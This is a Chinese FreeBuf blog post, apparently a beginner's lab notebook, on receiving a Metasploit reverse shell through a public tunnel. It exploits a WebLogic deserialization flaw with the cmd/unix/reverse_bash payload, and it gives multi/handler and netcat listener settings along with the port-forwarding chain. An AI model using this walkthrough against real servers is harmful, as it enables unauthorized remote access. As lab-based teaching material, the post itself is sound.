freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MSF 利用公网反弹shell
2020-12-01 12:22:57

小白一枚,记录一下 这个困扰了我很久的问题的解决方案。

平时做实验都是在虚拟机中完成,也就是内网,使用msf时,配置的payload 填写的 lhost 是内网的ip。那如果我要测试一台位于公网的机器,利用msf 攻击成功之后, 如何将shell 反弹到自己虚拟机上呢。这是我想讨论的问题。

一、环境搭建

  • 靶机 centOS7 (虚拟机), ip:192.168.95.129
  • 攻击机 kali(虚拟机) , ip: 192.168.95.195
  • 内网穿透工具 nsloop 网站:https://du.nsloop.com/
  • 宿主机 window 10 

1、靶机和 kali 在内网上,因为没 money 去买服务器,使用内网机器模拟一下,整体思路就是通过公网将shell反弹到内网机器上。

靶机上部署了 weblogic, 版本:10.3.6.0, 安装过程 可以参考其他 大佬博客。选择这个版本主要是为了能够利用 weblogic的反序列化漏洞。

2、内网穿透工具,按照官网的 文档 操作即可。我的端口转发配置是:内网 1111 端口, 这个端口是宿主机上的,当你配置好了 效果如下:

3、宿主机和虚拟机(网络模式为 NAT)也需要配置 端口转发,使用VMware的 转发工具即可(你也可以将虚拟机的 网络模式设置为 桥接模式,但是需要在kali上装 内网穿透客户端),VMware的端口转发配置如下:

二、漏洞利用

  1. 开启webloic服务,监听的端口为 7001, 在宿主机上 打开网页试一下:

2. 使用 kali 的 multi/misc/weblogic_deserialize_asyncresponseservice  这个攻击模块,注意配置 lhost 应该是 上面你内网穿透工具 提供的 域名,端口为 内网穿透工具 提供的 端口。

1606792927_5fc5b6dfe50aef8319bbd.png!small?1606792926716

3. 直接运行 run, 但是会 报错,因为这个 lhost 理应为 本地的ip,但是没关系,因为我们选择的 payload 为cmd/unix/reverse_bash , lhost 这个配置就是接收 反弹shell 的主机IP。我们填写 域名的意思就是 将这个shell 流量发送至 这个域名下的 34375 端口,因这个域名我们做了 端口转发,那么流量会转发到我们宿主机的 1111 端口,而宿主机的 1111 又会将流量转发至 kali的 1112 端口,因此 我们只需 再开一个窗口 使用 nc (netcat)监听就行。注意:这里启动顺序应该调整为, 先用 nc 监听, 再进行msf 的攻击

nc监听:

1606793427_5fc5b8d39137a05a55455.png!small?1606793426330

再启动 msf :

1606793464_5fc5b8f8d4f38a9aeae48.png!small?1606793463569启动之后,nc 就能接收到这个 shell了:

1606793514_5fc5b92a35d762ec45d30.png!small?1606793513009

4.除了使用 nc,也可以 使用 msf的 监听模块,再开一个窗口,启动msf ,使用监听模块,然后选择与攻击模块中一致的 payload。 这里设置 LHOST 为 kali的 本机ip 192.168.95.195,端口为 1112

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 192.168.95.195
msf6 exploit(multi/handler) >set lport 1112

最终配置如下:

1606793939_5fc5bad3e31273cd2a882.png!small?1606793938692

5. 先 run 监听模块,再run 攻击模块

1606793998_5fc5bb0edb10e0b4d909d.png!small?1606793997635

1606794020_5fc5bb2432c818c2db876.png!small?1606794018875

6.最后也可接收到 shell

1606794059_5fc5bb4be327819a8d72f.png!small?1606794058711

三、总结

本次实验只是 对工具使用讨论,并不对漏洞进行分析,主要是能力还欠缺。所以最后使用 nc 或者 msf的 监听模块都可以对公网shell接收。

其实过程有点复杂,如果大佬们还有更加简便的方法,我愿洗耳恭听,欢迎一起讨论。

第一次写博客,如果文章中有不对的地方,还望指正,谢谢。


# 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者